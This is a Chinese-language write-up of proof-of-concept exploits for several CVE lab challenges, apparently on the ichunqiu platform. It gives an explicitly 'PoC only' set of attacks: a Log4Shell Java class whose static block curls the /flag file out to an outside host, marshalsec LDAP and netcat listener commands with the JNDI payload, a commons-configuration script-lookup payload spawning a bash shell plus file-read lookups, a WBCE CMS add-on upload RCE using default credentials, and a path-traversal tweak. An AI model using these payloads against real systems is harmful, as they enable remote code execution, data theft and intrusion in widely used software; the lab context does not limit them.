0%

春秋云镜CVE

CVE系列

不详细讲原理,只发一下poc

CVE-2021-44228

log4j

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.IOException;
import java.util.Hashtable;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Evil implements ObjectFactory{
static {
try {
Runtime.getRuntime().exec("curl -X POST -F xx=@/flag http://xx:8999");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

先运行marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xx:8000/#Evil" 1099

同时需要在8000端口起个web服务
python3 -m http.server 8000

要在8999端口起个nc,用于接受flag
nc -lvp 8999

输入框输入
${jndi:ldap://xx:1099/evil}

不知道为什么不可以反弹shell,就直接用curl了

CVE-2022-33980

payload
Url?url=http://xx:8000/test.xml&data=path

test.xml

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1" ?>
<configuration>
<path>${script:js:java.lang.Runtime.getRuntime().exec("bash -c {xxx}")}</path>
</configuration>

直接弹shell

${url:utf-8:file:///}可以用于读取目录
${url:utf-8:file:///flag}可以用于读取文件

CVE-2022-25101

http://eci-2zec563boh9uafe744jn.cloudeci1.ichunqiu.com/admin/login/
admin 123456
进入后台

install处选择一个压缩包,其中要有info.php,info.php写入你的payload即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$archive = new PclZip($temp_file);

// extract Add-on files into WBCE temp folder
$addon_root_path = find_addon_root_path($archive);
$list = $archive->extract(
PCLZIP_OPT_PATH,
$temp_unzip,
PCLZIP_CB_PRE_EXTRACT,
'pclzip_extraction_filter',
PCLZIP_OPT_REPLACE_NEWER
);

// Check if uploaded file is a valid Add-On zip file
if (!($list && file_exists($temp_unzip . 'info.php'))) {
$admin->print_error($MESSAGE['GENERIC_INVALID_ADDON_FILE']);
}

// Include the templates info file
unset($template_directory);
unset($theme_directory);
require($temp_unzip . 'info.php');

看看部分源码,可以看到他把压缩包的内容解压出来,然后require了info.php

CVE-2021-44665

searchsploit相应的payload即可

../../database
改为
../../../../../../flag
即可
原理大概就是有一处insert的sql操作没有鉴权,可以用于添加相应的id,然后在getfile.php中可以获取到该id,绕过鉴权,并且他读取文件的操作没有过滤../,具体原理可以自行分析